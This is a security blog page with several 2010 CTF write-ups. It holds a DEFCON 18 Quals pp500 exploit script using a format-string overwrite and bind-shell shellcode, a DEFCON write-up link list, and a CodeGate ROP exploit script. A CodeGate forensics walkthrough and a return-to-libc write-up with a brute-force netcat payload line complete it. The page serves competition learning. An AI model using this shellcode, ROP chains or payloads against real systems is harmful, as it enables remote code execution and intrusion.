DEFCON 18 Quals: Pwtent Pwnables 500 esd2 exploit
May 28, 2010 by longld · Leave a Comment
CLGT did not solved this during the quals! Here is the exploit for the esd2 leaked from pp200 (thanks beist for sharing). More analysis & write up for the real pp500 will come later:
#!/usr/bin/env python
import socket
import struct
import telnetlib
import time
HOST = '192.168.56.101'
PORT = 8302
def xor_input(data):
static = "%5d | %5d\n" + "\x00"*4
out = ""
for i in range(len(data)):
out += chr(ord(static[i]) ^ ord(data[i]))
return out
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# send password
s.send("sp3wn0w" + "\n")
# prepare the payload
# overwrite lseek@plt, original value = 0x08048ae2
target = 0x804a30c
# shellcode address = 0x0804a040 + 142 bytes (padding + fmt_string)
ret = 0x0804a0ce
# value to write into target
write_byte = 0xa0ce
# payload = target + padding(128 - 4) + 14 (fmt_string) + shellcode
padding = "A"*128
fmt_string = "%" + str(write_byte) + "u%24$hn"
fmt_string = xor_input(fmt_string)
# bindshell: port 5678
shellcode = "\x00\x29\xc9\x83\xe9\xec\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x63\x7d\xa9\x09\x83\xeb\xfc\xe2\xf4\x09\x1c\xf1\x90\x31\x15\xb9\x0b\x75\x53\x20\xe8\x31\x3f\xfb\x4b\x31\x17\xb9\xc4\xe3\xe4\x3a\x58\x30\x2f\xc3\x61\x3b\xb0\x29\xb9\x09\xb0\x29\x5b\x30\x2f\x19\x17\xae\xfd\x3e\x63\x61\x24\xc3\x53\x3b\x2c\xfe\x58\xae\xfd\xe0\x70\x96\x2d\xc1\x26\x4c\x0e\xc1\x61\x4c\x1f\xc0\x67\xea\x9e\xf9\x5d\x30\x2e\x19\x32\xae\xfd\xa9\x09"
payload = struct.pack("<L", target) + padding[4:] + fmt_string + shellcode + "\n"
print "Sending payload...", repr(payload)
s.send("c\n" + str(len(payload)) +"\n")
s.send(payload)
# trigger the read_blob that calls lseek()
s.send("r\n" + "10\n")
print "Connecting to remote shell port 5678..."
time.sleep(4)
t = telnetlib.Telnet(HOST, 5678)
t.write("id\n\n")
t.interact()
t.close()
s.close()
DEFCON 18 Quals: writeups collection
May 25, 2010 by longld · 18 Comments
DEFCON 18 Quals is over and here are the writeups collection from teams, come back for latest updates.
(please inform me if you have write up for c500, pm500)
PURSUITS TRIVIAL
PT100: spiderman movie quote
- http://n.pentest.jp/?p=691 (Japanese)
- http://squidzrus.schleppingsquid.net/DC18-Qual-Walks/Defcon_CTF_Quals_2010_Writeups-PursuitsTrivial-100.html
PT200: VIM shell
- http://bernardodamele.blogspot.com/2010/05/defcon-18-ctf-quals-writeup-pursuit.html
- http://squidzrus.schleppingsquid.net/DC18-Qual-Walks/Defcon_CTF_Quals_2010_Writeups-PursuitsTrivial-200.html
- http://blog.stalkr.net/2010/05/defcon-18-ctf-quals-writeup-trivial-200.html
PT300: social networking
PT400: java game
- http://cvk.posterous.com/defcon-18-quals-pt400-walkthrough
- http://www.nth-dimension.org.uk/blog.php?id=85
- Defcon CTF Pursuits Trivial 400 server source and images
- pwning trivia 400 at defcon 18 quals (video)
PT500: audio remix
CRYPTO BADNESS
C100: alphabet cipher (Dvorak keyboard)
- http://www.nth-dimension.org.uk/blog.php?id=83
- http://forensic-proof.com/85 (Korean)
- http://squidzrus.schleppingsquid.net/DC18-Qual-Walks/Defcon_CTF_Quals_2010_Writeups-CryptoBadass-100.html
- http://n.pentest.jp/?p=728
C200: Enigma cipher
- http://forensic-proof.com/84 (Korean)
C300:
- http://n.pentest.jp/?p=713 (Japanese)
- http://forensic-proof.com/86 (Korean)
C400: RSA 768 bits crack
C500:
- n/a
PACKET MADNESS
PM100: yEnc madness (too hard for 100pts)
- http://ddtek.biz/mkyyank.pl (script written by ddtek’s m3rc to generate the PM100 challenge)
- http://stalkr.net/files/defcon/2010/quals/packet100/writeup.txt
PM200: EBCDIC shell
- http://scott.wolchok.org/ctf2010/pkt200.html
- http://bernardodamele.blogspot.com/2010/05/defcon-18-ctf-quals-writeup-packet.html
- http://squidzrus.schleppingsquid.net/DC18-Qual-Walks/Defcon_CTF_Quals_2010_Writeups-Packet%20Madness-200.html
- http://www.segmentationfault.fr/ctf/resume-dc18-ctf-quals/ (French)
- http://blog.stalkr.net/2010/05/defcon-18-ctf-quals-writeup-packet-200.html
PM300:
- http://nibbles.tuxfamily.org/?p=1389 (French)
PM400:
PM500:
- n/a
BINARY L33TNESS
B100: Linux x86 crackme
- http://ezbeat.tistory.com/234 (Korean)
- http://ddoogg.nayana.com/test/hahah/b100.txt
- http://n.pentest.jp/?p=719
B200: Haiku OS crackme
- http://solution-36.blogspot.com/2010/05/defcon-quals-binary-200-writeup.html
- http://n.pentest.jp/?p=734
- http://smokedchicken.org/2010/05/dc18-bin200-bin300.html (Russian)
B300: Linux x64 crackme
- http://scott.wolchok.org/ctf2010/b300.html (team n0tl33t)
- pwning binary 300 at defcon 18 quals (video)
- http://smokedchicken.org/2010/05/dc18-bin200-bin300.html (Russian)
B400: Linux x86 binary with embedded lightweight Java Virtual Machine (base on j2me_cldc reference code from Sun)
- http://blog.zynamics.com/2010/06/02/defcon-ctf-bin400-writeup/
- http://blog.oxff.net/2010/6/16/Defcon_CTF_%2318_Prequals%3A_bin400.html
B500: Solaris SPARC 9 x64 (find the DES key)
PWTENT PWNABLES
PP100: FreeBSD BOF exploit with stack cookie based on time
(wasted of time due to wrong server timezone!)PP200: python shell
- http://scott.wolchok.org/ctf2010/pp200.html
- pwning pwnable 200 at defcon 18 quals (video)
- http://bernardodamele.blogspot.com/2010/05/defcon-18-ctf-quals-writeup-pwtent.html
- http://www.rajatswarup.com/blog/2010/05/25/pwtent-pwnable-200-writeup-ctf-quals-2010/
PP300: FreeBSD exploit – heap overflow
- http://securityblackswan.blogspot.com/2010/05/lets-solve-this-challenge.html
- http://www.vxhell.org/~teach/defcon18/pwnables/pp300-writeup.txt
PP400: Mach-O PPC binary exploit (err .. it’s the same binary as last year pp400 challenge)
- Write up for pp400 by VedaGodz last year (they pulled out during the quals)
- http://adamrosenfield.com/blog/2010/05/26/ill-take-pwtent-pwnables-for-400-please-alex/
PP500: FreeBSD exploit recover from a packet dump
(err .. binary & key were leaked from PP200 shell to some teams)
- http://sploitlab.wordpress.com/2010/05/26/pwtent-pwnables-500-solution/ (unsolved)
- http://beist.org/esd2 (this is the binary lolz team taken from pwn200. after ddtek aware of this problem, they modified the code a bit)
- http://www.vnsecurity.net/2010/05/defcon-18-quals-pwtent-pwnables-500-exploit/ (exploit for esd2)
- http://www.vnsecurity.net/2010/05/defcon-18-quals-pwtent-pwnables-500-write-up/
FORENSICS
F100: hidden key in NTFS filesystem
- http://scott.wolchok.org/ctf2010/f100.html
- http://forensic-proof.com/87
- http://squidzrus.schleppingsquid.net/DC18-Qual-Walks/Defcon_CTF_Quals_2010_Writeups-Forensics-100.html
- http://n.pentest.jp/?p=739
- http://blog.stalkr.net/2010/05/defcon-18-ctf-quals-writeup-forensics.html
F200: PNG images analysis
- convert * -layers merge IMG_merged.png (one line solution)
- http://www.nth-dimension.org.uk/blog.php?id=84
- http://squidzrus.schleppingsquid.net/DC18-Qual-Walks/Defcon_CTF_Quals_2010_Writeups-Forensics-200.html
- http://www.bryceboe.com/2010/05/25/defcon-18-quals-forensics-200-write-up/
F300:
- http://forensic-proof.com/89 (Korean) – unsolved
- http://vserv3234.swisslink.ch/f300_writeup.txt (team Routards)
F400: Live OS image
F500:RAID image carving
- http://scott.wolchok.org/ctf2010/f500.html (team n0tl33t)
- http://forensic-proof.com/93 (Korean)
Misc Links
Return-oriented-programming practice: exploiting CodeGate 2010 Challenge 5
April 18, 2010 by longld · 4 Comments
In my previous post about CodeGate 2010 Challenge 5 exploit, I mentioned the weakness of accessing server to get execl() address. In this post I will show how to blindly exploit the “harder” program without access to the remote server using return-oriented-programming technique.
ROP introduction
A worth to read post about ROP introduction can be found on Zynamics blog: http://blog.zynamics.com/2010/03/12/a-gentle-introduction-to-return-oriented-programming/
In summary: we will use return-into-instructions (called gadgets) to build and execute our payload when controlled EIP and ESP from vulnerable program.
ROP limitations (difficulties):
- ASLR: the same as return-into-libc, it’s difficult to locate address of instructions in library (e.g libc)
- ASCII-armor address: with ascii-armor remapping of libraries (e.g libc), addresses will contain NULL byte so chaining return-into-libc calls and ROP is impossible if there’s NULL filter in input
The “harder” case
Fortunately, we can blindly exploit the “harder” program using ROP because it provides some “advantages” in code:
- getline(): can pass NULL byte to input
- printf(): can leak runtime memory info (bypass ASLR)
Finding ROP gadgets
Our target is to invoke execve(”/bin/sh”, 0, 0) syscall, which is equivalent to prepare registers’ value then trigger kernel syscall:
eax = 0xb // execve
ebx = address of “/bin/sh”
ecx = 0 // argv
edx = 0 // env
Searching in harder binary, we found below gadgets:
- eax:
80483a4: 58 pop %eax 80483a5: 5b pop %ebx 80483a6: c9 leave 80483a7: c3 ret
- ebx & ecx:
8048634: 59 pop %ecx 8048635: 5b pop %ebx 8048636: c9 leave 8048637: c3 ret
“/bin/sh” is placed on target buffer, its address is available by leaking via printf()
- edx:
There’s no edx related gadget but observing that when returned from memcpy() edx’s value is set to esi so we can assign esi to 0×0 first then return again to main to nullify edx.0x001ba506 : mov edx,esi 80485e6: 5e pop %esi 80485e7: 5f pop %edi 80485e8: 5d pop %ebp 80485e9: c3 ret
- syscall:
In recent Linux kernel, syscall is usually performed via linux gate: call gs:[0x10]. By return to back to printf() in harder program many times, we can find the offset from getline() to first syscall is 319 bytes.
- moving stack:
After “leave; ret” our stack will be moved to new location pointing by ebp. We can control this by set ebp back to somewhere in the middle of target buffer.
Exploit code
#!/usr/bin/env python
import socket
import sys
import struct
import telnetlib
#host = 'ctf4.codegate.org'
host = '127.0.0.1'
port = 9005
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((host, port))
buf=""
# bypass first read
buf = c.recv(1024)
# getline() address
buf = "A"*268 + struct.pack('i', 0x08048524) + struct.pack('i', 0x0804a008) + "\n"
c.send(buf)
buf = c.recv(1024)
addr = ""
getline_addr = int(buf[:4][::-1].encode('hex'), 16)
print "getline() is at:", hex(getline_addr)
# call gs:[0x10] address
offset = 319 # first offset is 319 bytes from getline()
syscall_addr = getline_addr + offset
# buffer address
buf = "%7$x" + "\x00"*260 + struct.pack('i', 0x08048521)*2 + "\n"
c.send(buf)
buf = c.recv(1024)
input_addr = int(buf[:8], 16)
print "Buffer address is at: ", hex(input_addr)
# gadgets address
pop_eax = 0x080483a4
pop_ecx_ebx = 0x08048634
pop_esi = 0x080485e6
# pop esi
buf = "A"*268 + struct.pack('i', pop_esi) + "\x00" * 12 + struct.pack('i', 0x08048524)*2 + "\n"
c.send(buf)
c.recv(1024)
# pop eax then move stack to new address
input_addr += 560 # lifting after 2 getline() calls
new_stack = input_addr+8
buf = "/bin/sh\x00" # /bin/sh
buf += struct.pack('i', new_stack+16) # next ebp after leave from pop_eax
buf += struct.pack('i', pop_ecx_ebx) # next is pop_ecx_ebx
buf += "\x00"*4 # ecx
buf += struct.pack('i', input_addr) # ebx -> /bin/sh
buf += "A"*4 # un-used ebp after leave from pop_ecx_ebx
buf += struct.pack('i', syscall_addr)
buf = buf.ljust(264, "A") # padding
buf += struct.pack('i', new_stack) # new ebp
buf += struct.pack('i', pop_eax)
buf += "\x0b\x00\x00\x00" # execve syscal
buf += "A"*4 # un-used ebx
buf += "\n"
print "Sending final payload ..."
c.send(buf)
c.send("id 2>&1" + "\n"*5)
t = telnetlib.Telnet()
t.sock = c
t.interact()
c.close()
CodeGate 2010 – Challenge 6 writeup
March 20, 2010 by longld · 3 Comments
Summary
Challenge 6 is a forensics problem with a mountain of data, a packet capture file and a FAT32 filesystem image. In order to find the secret you have to watch for the “key” exchanged via MSN conversation in a packet capture file, then use it to find the secret file name. With forensics problems, luck is more important than techniques and you should only do it if you don’t have anything to play during the game.
Analysis
Challenge information:
credentials:
http://ctf.codegate.org/thisiswhereiuploadmyfiles/CC2A8B4FA2E1FA6BD7FE9B8EFC86BCB7
Substitute for those who are not in Korea : http://www.mediafire.com/?wyhexdmzzdm
You should convert the flag into lower case letters and try to auth with it.
Hint: The packet of messenger is important. You don’t need to care the ftp stuff.
Hint2: Please put your flag without any extension to the auth page.
File info
$ file CC2A8B4FA2E1FA6BD7FE9B8EFC86BCB7 CC2A8B4FA2E1FA6BD7FE9B8EFC86BCB7: gzip compressed data, from Unix, last modified: Fri Mar 12 17:20:19 2010 $ zcat CC2A8B4FA2E1FA6BD7FE9B8EFC86BCB7 > challenge6 $ file challenge6 challenge6: POSIX tar archive (GNU) $ tar xvf challenge6 352FCD8BDEC8244CDED00CA866CA24B9 B400CBEA39EA52126E2478E9A951CDE8 $ file 352FCD8BDEC8244CDED00CA866CA24B9 B400CBEA39EA52126E2478E9A951CDE8 352FCD8BDEC8244CDED00CA866CA24B9: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 65535) B400CBEA39EA52126E2478E9A951CDE8: x86 boot sector, code offset 0x58, OEM-ID "MSDOS5.0", sectors/cluster 8, reserved sectors 4334, Media descriptor 0xf8, heads 255, sectors 1982464 (volumes > 32 MB) , FAT (32 bit), sectors/FAT 1929, reserved3 0x800000, serial number 0x7886931a, unlabeled
We have 2 files: a tcpdump packet capture and a FAT32 filesystem image. From the hints (yes, without it we don’t know what to search for), we focus our search to:
- Final secret key must be a file and it may rely on FAT32 image
- Keyword to find out that secret file must be exchanged via MSN conversation(s) in tcpdump file
MSN conversation
Using chaosreader (you can use other tools to have the same result) to analyse pcap file, we will have a list of sessions like below:

The session number 263 & 264 is MSN chat. Following the conversion by looking in to raw file we find some interesting things:
forensic-proof@live.com> i;d like to get a file that i asked you before……
forensic-proof@live.com> now availabel?securityholic@hotmail.com> ah
securityholic@hotmail.com> ok wait a min :)
[... MSN P2P file transfer session ...]forensic-proof@live.com> thanks….
securityholic@hotmail.com> this is between you and me :-/
It looks like they exchange some “secret” via MSN P2P file transfer. Looking at file transfer session (refer to References for MSN protocol) :
To: <msnmsgr:securityholic@hotmail.com;{95178158-37b6-45ce-b332-2042a4d27563}>
From: <msnmsgr:forensic-proof@live.com;{281f2818-580b-46f0-909f-c009de526642}>
Via: MSNSLP/1.0/TLP ;branch={51D93360-BFBD-40CB-AD0A-2D7FB5C28031}
CSeq: 1
Call-ID: {71021C00-FE1C-4E91-B415-D2145D7C1C24}
Max-Forwards: 0
Content-Type: application/x-msnmsgr-transrespbody
Content-Length: 482Listening: true
NeedConnectingEndpointInfo: false
Conn-Type: Direct-Connect
TCP-Conn-Type: Direct-Connect
IPv6-global: 2001:0:cf2e:3096:2036:1131:5c67:c1c5
UPnPNat: false
Capabilities-Flags: 1
srddA-lanretnI4vPI: 85.26.251.361
troP-lanretnI4vPI: 2133
IPv6-Addrs: 2001:0:cf2e:3096:2036:1131:5c67:c1c5 2002:a398:3e3a::a398:3e3a
IPv6-Port: 3313
Nat-Trav-Msg-Type: WLX-Nat-Trav-Msg-Direct-Connect-Resp
Bridge: TCPv1
Hashed-Nonce: {E3759BB3-EED9-04F3-3B1A-56044619D59F}
What the hell is this: srddA-lanretnI4vPI: 85.26.251.361? It’s reversed! So, file transfer session has this information: IPv4Internal-Addrs: 163.152.62.58, IPv4Internal-Port: 3312. It’s confirmed by looking at chaosreader output:
![]()
Let dump that session and use tcpxtract to extract files from the pcap:
$ tcpdump -nn -r 352FCD8BDEC8244CDED00CA866CA24B9 'port 3312' -w 3312.pcap$ tcpxtract -f 3312.pcap Found file of type "pdf" in session [163.152.62.59:37390 -> 163.152.62.58:61452], exporting to 00000001.pdf Found file of type "jpg" in session [163.152.62.59:37390 -> 163.152.62.58:61452], exporting to 00000008.jpg Found file of type "jpg" in session [163.152.62.59:37390 -> 163.152.62.58:61452], exporting to 00000009.jpg Found file of type "jpg" in session [163.152.62.59:37390 -> 163.152.62.58:61452], exporting to 00000010.jpg Found file of type "jpg" in session [163.152.62.59:37390 -> 163.152.62.58:61452], exporting to 00000011.jpg Found file of type "jpg" in session [163.152.62.59:37390 -> 163.152.62.58:61452], exporting to 00000012.jpg Found file of type "jpg" in session [163.152.62.59:37390 -> 163.152.62.58:61452], exporting to 00000013.jpg Found file of type "jpg" in session [163.152.62.59:37390 -> 163.152.62.58:61452], exporting to 00000014.jpg
During the game, we opened PDF file but it’s just blank then we focused on JPG files, but no luck. Re-examined the blank PDF, by “Select All” we found there’s hidden text at the bottom of the page: CC105EE2A139A631175571452968D637. Looks like a “key” – checksum of the secret file.
Searching on FA32 filesystem image for that checksum:
$ sudo mount -o loop,ro B400CBEA39EA52126E2478E9A951CDE8 /mnt/loop
$ find /mnt/loop -type f -exec md5sum {} \; >> md5sum.txt
$ grep -i CC105EE2A139A631175571452968D637 md5sum.txt
cc105ee2a139a631175571452968d637 /mnt/loop/hqksksk/iologmsg.dat
Matched! Finally, the secret key is: iologmsg. We’re just lucky!
Now, look back to the hint “You should convert the flag into lower case letters and try to auth with it.”, it sounds irrelevant or the md5sum was the correct key at first?
References
- http://msnpiki.msnfanatic.com/index.php/MSNC:MSNSLP
- http://www.hypothetic.org/docs/msn/client/file_transfer.php
- http://chaosreader.sourceforge.net/
- http://tcpxtract.sourceforge.net/
Keywords: network forensics, msn protocol, codegate 2010
Codegate 2010 online CTF – Challenge 4 & 5 writeup
March 16, 2010 by longld · 17 Comments
Summary
Challenge 4 has a basic buffer overflow vulnerability running on modern Ubuntu Linux with ASLR. Challenge 5 shares the same code as Challenge 4 but added NX protection to make it harder. In challenge 4 we use ret2eax to by pass ASLR and return-to-libc technique to bypass NX in challenge 5 with brute-forcing for execl() libc address. We had to access to the server (hijack account of Challenge #2) to search for execl() address, it’s weakness of our solution for challenge 5.
Analysis
Challenge 4 information:
credentials: ctf4.codegate.org 9000
BINARY FILE: http://ctf.codegate.org/files____/easy
Challenge 5 information:
credentials: ctf4.codegate.org 9001
BINARY FILE: http://ctf.codegate.org/files____/harder
Both “easy” and “harder” share the same code which looks like below:
int __cdecl main()
{
size_t n; // [sp+18h] [bp-8h]@1
char *lineptr; // [sp+1Ch] [bp-4h]@1
lineptr = 0;
printf("Input: ");
fflush(0);
getline(&lineptr, &n, stdin);
func(lineptr, n);
return puts("\nThanks. Goodbye");
}
void *__cdecl func(const void *src, size_t n)
{
char dest[264]; // [sp+10h] [bp-108h]@1
return memcpy(dest, src, n);
}
The traditional BOF at memcpy() in func() with 272 bytes allows us to overwrite the saved EIP to control program execution. Exploit for “easy” is obvious, you can find a writeup here, remain of this post will talk about Challenge 5.
The problem for exploiting ‘harder’ is to bypass:
- ASLR
- NX protection
We will use return-to-libc technique to overcome that.
Solution/Exploit
In order to exploit the “harder” we have to:
- Locate address of execl() function in libc
- Locate address of “/bin/sh” somewhere in memory
- Arrange stack to call execl(”/bin/sh”, …) when return from func()
Locate address of execl()
Based on our experience in Padocon 2010 pre-qual, we know that random mmap library address will repeat after several run.
$ gdb harder
(gdb) start
Temporary breakpoint 1, 0x0804850e in main ()
(gdb) p execl
$1 = {<text variable, no debug info>} 0x1a70c0 <execl>
(gdb) quit
Locate address of “/bin/sh”
There’s several way to find “/bin/sh” pointer according to other contestants discussed in #codegate IRC:
- Find “/bin/sh” address in RO_DATA of libc
- Put “/bin/sh” in our input buffer then find stack address that points to it (address of “dest” in func())
- Put “/bin/sh” in our input buffer then re-use “*lineptr” (already point to our buffer) remain in stack. This is our method.
Let examine the stack when we’re in func():
(gdb) disass func
Dump of assembler code for function func:
0x080484e4 <func+0>: push ebp
0x080484e5 <func+1>: mov ebp,esp
0x080484e7 <func+3>: sub esp,0x118
0x080484ed <func+9>: mov eax,DWORD PTR [ebp+0xc] <-- n
0x080484f0 <func+12>: mov DWORD PTR [esp+0x8],eax
0x080484f4 <func+16>: mov eax,DWORD PTR [ebp+0x8] <-- src's address (*lineptr)
0x080484f7 <func+19>: mov DWORD PTR [esp+0x4],eax
0x080484fb <func+23>: lea eax,[ebp-0x108] <-- dest's address
0x08048501 <func+29>: mov DWORD PTR [esp],eax
0x08048504 <func+32>: call 0x80483f8 <memcpy@plt>
0x08048509 <func+37>: leave
0x0804850a <func+38>: ret
End of assembler dump.
(gdb) b *0x08048504
Breakpoint 1 at 0x8048504
(gdb) r
Starting program: /tmp/harder
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x08048504 in func ()
(gdb) x/20x $ebp
0xbffff738: 0xbffff768 0x08048568 0x0804b008 0x00000078
[*lineptr] (2)
0xbffff748: 0x00d5b420 0xbffff768 0x00c49345 0x006c2d20
0xbffff758: 0x00000078 0x0804b008 0x08048590 0x00000000
[*lineptr] (1) [garbage str]
0xbffff768: 0xbffff7e8 0x00c30b56 0x00000001 0xbffff814
0xbffff778: 0xbffff81c 0xb7fff858 0xbffff7d0 0xffffffff
(gdb) x/8x 0x0804b008
0x804b008: 0x41414141 0x41414141 0x41414141 0x41414141
0x804b018: 0x41414141 0x41414141 0x41414141 0x41414141
Address of *lineptr is 0×0804b008 which point to our buffer. There’s two instances of *lineptr address on stack: (1) returned from getline(), (2) placed before calling func(). The (2) address is useless because it’s next to ret, the (1) address with next 2 addresses 0×08048590, 0×00000000 is perfect for execl(). What we need to do is lift the esp to correct address with few ret.
Arrange buffer & stack
With all the things above, we can craft our buffer as below:
["/bin/sh" | padding | ret*6 | execl() | "\n"]
This will result on stack when return from func():
[ret*6 | execl() | 0xdeadbeef | "/bin/sh" | "garbage string" | 0 ]
Exploit
while true; do (python -c 'print "/bin/sh\x00" + "A"*260 + "\x75\x85\x04\x08"*6 + "\xc0\x70\x1a\x00" + "\n"'; cat) | nc ctf4.codegate.org 9001 done Input: Input: Input: id uid=1004(harder) gid=1004(harder) cat /home/harder/flag.txt e2e4cb6adc9cd761dcde774f84529591 -
References
Keywords: return-to-libc, aslr, esp lifting, codegate 2010


